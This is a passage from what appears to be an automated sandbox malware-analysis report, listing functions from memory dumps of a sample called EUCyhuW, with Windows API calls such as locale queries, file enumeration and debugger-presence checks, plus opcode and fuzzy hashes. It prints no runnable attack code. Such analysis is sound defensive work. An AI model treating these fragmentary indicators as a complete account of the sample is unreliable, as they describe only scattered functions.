String ID:
API String ID:
Opcode ID: 775cadc7a2574e3760133170d2812b212da0d7ee7adc77ff78f071352d9d3a75
Instruction ID: 0f2214713fe9c2a539f34ea0caf23b660d48822217bc04a6754b5cc03a326ac6
Opcode Fuzzy Hash: 775cadc7a2574e3760133170d2812b212da0d7ee7adc77ff78f071352d9d3a75
Instruction Fuzzy Hash: E031953290011AEFCB36CF68C8909EEB7B9FF09320B14826AE555E7690DB35ED54CB50

Function 00371A88 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003719F9: GetModuleHandleExW.KERNEL32(00000002,00000000,6,?,?,003719BC,?,?,0037198D,?,?,?,0036E1E1), ref: 00371A05

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,BB0EE090,?,?,?,00390244,000000FF), ref: 00371AEF

Part of subcall function 0036B1F0: std::_Throw_Cpp_error.LIBCPMT ref: 0036B21C
Part of subcall function 0036B1F0: std::_Throw_Cpp_error.LIBCPMT ref: 0036B238

Part of subcall function 0037386F: ReleaseSRWLockExclusive.KERNEL32(?,?,?,0036B2B9,?,0036F9C2), ref: 00373884

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CallbackExclusiveFreeHandleLibraryLockModuleReleaseReturnsWhen
String ID:
API String ID: 1423221283-0
Opcode ID: f1ec65e0cf6820ce77230c34bc1a32214c79078eeee2b375d3deaf9d4636d9b0
Instruction ID: 474a47a2f929c881a8aa62023b26f25cc7cd94affd8934118d33c96771647e38
Opcode Fuzzy Hash: f1ec65e0cf6820ce77230c34bc1a32214c79078eeee2b375d3deaf9d4636d9b0
Instruction Fuzzy Hash: 1D11C833640604EBCB37AB6D9C15A2E77ACEB46B20F11C51BF5099B291DF3AD841CA91

Function 00372940 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 7a2f615800a2ddc9905411eb687317013c4314e5f601c7e0539f2277a528a541
Instruction ID: 338d20ee5464596d95a5cb654c0608041b652084a491e2ee19fa6e4155b1b83d
Opcode Fuzzy Hash: 7a2f615800a2ddc9905411eb687317013c4314e5f601c7e0539f2277a528a541
Instruction Fuzzy Hash: B30149376081464ECB77DE7CA865A6ABF20EF86334F24C16FD159D80C2CF1A4821C210

Function 003804C1 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0037119F,?,?,003631F2,00001000,?,0036313A), ref: 003804F3

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 919e2c9b75860e59382be9472e48df83114e73eab0051b6ff36493806407543c
Instruction ID: 3ee7c85319c1987abcc4f2b71c53a334a0ec5e234fe37eee38ac58300a2014e7
Opcode Fuzzy Hash: 919e2c9b75860e59382be9472e48df83114e73eab0051b6ff36493806407543c
Instruction Fuzzy Hash: 9DE0303118471157EA7736669C00B6B365C9F427B0F1681A1AE199B491DA54D8058BA1

Function 00370500 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00370521

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: e661e17063f482c27c2836dd3bd1e7e1a569301e29a1a9b0824203d682e51f04
Instruction ID: 732cce0e8e22fbdbfeed55535cbdb5bbe42441db086edfc2f543548c5bc582c7
Opcode Fuzzy Hash: e661e17063f482c27c2836dd3bd1e7e1a569301e29a1a9b0824203d682e51f04
Instruction Fuzzy Hash: 11E04F70C0820CEBCB15EFA4D14146EBBB4AF40310F1080A9E8499B351EB359E54CF41

Function 0036B9E0 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0036BA01

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: d54092ffe385f37bf38e100b09a46dbf490ab7c81b07d1c2ddcf268f775d5759
Instruction ID: 2b2eb65921181281cf62c8a488e808925c0ff3f73d54d059ebf85f66d938c99f
Opcode Fuzzy Hash: d54092ffe385f37bf38e100b09a46dbf490ab7c81b07d1c2ddcf268f775d5759
Instruction Fuzzy Hash: C9E0BF30D4420C9BCB15EFA8D1955ADFBB4AF44318F1080A9E4199B355EB315E94CF45

Non-executed Functions

Function 00385DD3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,003857A4,00000002,00000000,?,?,?,003857A4,?,00000000), ref: 00385E6C
GetLocaleInfoW.KERNEL32(?,20001004,003857A4,00000002,00000000,?,?,?,003857A4,?,00000000), ref: 00385E95
GetACP.KERNEL32(?,?,003857A4,?,00000000), ref: 00385EAA

Strings

OCP, xrefs: 00385E27
ACP, xrefs: 00385DF1

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 03f94f948463e14df3749c956c333360f2b361826485af0f1ee168c7e2116765
Instruction ID: 434ebc21d4be08bc6fb508de33544b34d3d89818b395140f599a637df76d5d00
Opcode Fuzzy Hash: 03f94f948463e14df3749c956c333360f2b361826485af0f1ee168c7e2116765
Instruction Fuzzy Hash: 7A219536601B00AADB37AF54CD00AD773AAEB54F55B5784A4E90AE7500E732FF40C390

Function 0038566E Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00380713: GetLastError.KERNEL32(00000000,?,00382A49), ref: 00380717
Part of subcall function 00380713: SetLastError.KERNEL32(00000000,?,?,00000028,0037D2C9), ref: 003807B9

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00385776
IsValidCodePage.KERNEL32(00000000), ref: 003857B4
IsValidLocale.KERNEL32(?,00000001), ref: 003857C7
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0038580F
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0038582A

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: ea9b040ac73d7af57e5bab73cb695c4d61d77b773f5676f6743d6c73aae08751
Instruction ID: c481caaf40ec89236088e8190964e5188bec2ac55dae1a15442f95b2cefe048c
Opcode Fuzzy Hash: ea9b040ac73d7af57e5bab73cb695c4d61d77b773f5676f6743d6c73aae08751
Instruction Fuzzy Hash: 3D515E71A01B09EFEF12EFA4CC41AAE77B8BF04701F1544EAB951EB191E770DA448B61

Function 0037E930 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 940c0e5d6642d71f3349d6853f9f47a4d852d201499cf18fcd482ab34cbb11e5
Instruction ID: 7e6557abdd456f64029347f27bdea27bbef011d2fca6ec7af6c1c070837202c2
Opcode Fuzzy Hash: 940c0e5d6642d71f3349d6853f9f47a4d852d201499cf18fcd482ab34cbb11e5
Instruction Fuzzy Hash: BB022B75E012199FDF25CFA8D8806AEFBF1FF48314F2582A9D519AB340D735A941CB90

Function 003863B5 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003864A5

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: d7ca7bdbb879ddba343d7b496910499df501c07582ff25c5d8564f6ab2ab3b8f
Instruction ID: 560474db1258a47c1393a91b3545e07a170290bd1aa19fa0aa96ebd12eab8271
Opcode Fuzzy Hash: d7ca7bdbb879ddba343d7b496910499df501c07582ff25c5d8564f6ab2ab3b8f
Instruction Fuzzy Hash: DE71E7B1D452689FDF22BF38CC9AAFEBBB9AB05300F5541D9E04997211DB358E848F10

Function 00374073 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0037407F
IsDebuggerPresent.KERNEL32 ref: 0037414B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00374164
UnhandledExceptionFilter.KERNEL32(?), ref: 0037416E

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6ff7842239ee9178bae07003b2f132ae7107738f06e9a4d873530e0a72a6f0e8
Instruction ID: 7180e4d1162a673840542c49a51d01403f52824f512a90ceefb32bf6c7809407
Opcode Fuzzy Hash: 6ff7842239ee9178bae07003b2f132ae7107738f06e9a4d873530e0a72a6f0e8
Instruction Fuzzy Hash: 7031E875D012289BDF21EFA4D9497CDBBB8AF08300F1041AAE50DAB250EB759B85DF85

Function 0038595A Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00380713: GetLastError.KERNEL32(00000000,?,00382A49), ref: 00380717
Part of subcall function 00380713: SetLastError.KERNEL32(00000000,?,?,00000028,0037D2C9), ref: 003807B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003859AE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003859F8
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00385ABE

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 195e13fb6d6e8f09bde6f1136f161a50319da4002c4acd86f3eafca956b82d0f
Instruction ID: dcba74508019d4af9fb8ad3dc907c04f30a59612e5f184e977c128f5ae616a85
Opcode Fuzzy Hash: 195e13fb6d6e8f09bde6f1136f161a50319da4002c4acd86f3eafca956b82d0f
Instruction Fuzzy Hash: 31619071500B179FDB2BAF28CCC2BBA77A8EF14350F1141E9E905CA681E778D995CB50

Function 0037CDB0 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0037CEA8
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0037CEB2
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0037CEBF

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 1b00a0ebe1f02b3c11093e2d5870b24692b7383b80ad8cdf0ec2cd1e8b8b6821
Instruction ID: dfbc3107e38c9eddbe925f8dec01e48b90deaec7a8115972b301c60acf17fdc4
Opcode Fuzzy Hash: 1b00a0ebe1f02b3c11093e2d5870b24692b7383b80ad8cdf0ec2cd1e8b8b6821
Instruction Fuzzy Hash: DF31C57595122C9BCB22DF28DD8978DBBB8BF08310F5081EAE41CA7251E7749F858F45

Function 003858BF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00380713: GetLastError.KERNEL32(00000000,?,00382A49), ref: 00380717
Part of subcall function 00380713: SetLastError.KERNEL32(00000000,?,?,00000028,0037D2C9), ref: 003807B9

EnumSystemLocalesW.KERNEL32(0038595A,00000001,00000000,?,-00000050,?,0038574A,00000000,-00000002,00000000,?,00000055,?), ref: 00385931

Strings

JW8, xrefs: 00385906

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID: JW8
API String ID: 2417226690-1605673481
Opcode ID: 742a12fd988c08179f5fce37371829946a494c56db283a665589499d50905272
Instruction ID: 736c4d8e6381eaefd83fa2b95631d47854b3b519467d659b35d58f352f8622d5
Opcode Fuzzy Hash: 742a12fd988c08179f5fce37371829946a494c56db283a665589499d50905272
Instruction Fuzzy Hash: 29114C3B200B019FDB19AF39C8A15BAB792FF84329B15442DE98787640D371B802CB40

Function 00386304 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00381797: HeapAlloc.KERNEL32(00000008,00001000,?,?,003808B1,00000001,00000364,?,00000006,000000FF,?,?,0037C669,00380504), ref: 003817D8

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003864A5
FindNextFileW.KERNEL32(00000000,?), ref: 00386599
FindClose.KERNEL32(00000000), ref: 003865D8
FindClose.KERNEL32(00000000), ref: 0038660B

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 10ecac4c4d4754358a98d1173d11b5a9a9a09a47506000cbd9a7b4093a35d551
Instruction ID: ca0b627d0942f38ec1e94f4d1011a64c9e13c8bf826d45205623f5911ec50882
Opcode Fuzzy Hash: 10ecac4c4d4754358a98d1173d11b5a9a9a09a47506000cbd9a7b4093a35d551
Instruction Fuzzy Hash: F3517775900318AFDF26BF389C86ABEB7ADDF85314F2441DDF4099B211EA308D459B20

Function 00385C0C Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00380713: GetLastError.KERNEL32(00000000,?,00382A49), ref: 00380717
Part of subcall function 00380713: SetLastError.KERNEL32(00000000,?,?,00000028,0037D2C9), ref: 003807B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00385C60

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: a366ebbf0e6c21a5cc67d987a6c60e4047c57d45c551233a3c16ae86b841cb2b
Instruction ID: 0aca4ec3a6d7d7590cab23201118df056a432bdd28de1be83ea17f671a81ed31
Opcode Fuzzy Hash: a366ebbf0e6c21a5cc67d987a6c60e4047c57d45c551233a3c16ae86b841cb2b
Instruction Fuzzy Hash: AF218372615706ABDB2ABF29DD42A7B73BCEF44710F5000AAF905DA241EB74ED448B50

Function 00385D2C Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00380713: GetLastError.KERNEL32(00000000,?,00382A49), ref: 00380717
Part of subcall function 00380713: SetLastError.KERNEL32(00000000,?,?,00000028,0037D2C9), ref: 003807B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00385D80

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: fcb664839de4dd38804f60d34437008ad17ddbe31ab89b143625d683ad7a88db
Instruction ID: 1bbc55236a69b873b0aab95332f398788c497a4c7045257afbfea28fb75739ed
Opcode Fuzzy Hash: fcb664839de4dd38804f60d34437008ad17ddbe31ab89b143625d683ad7a88db
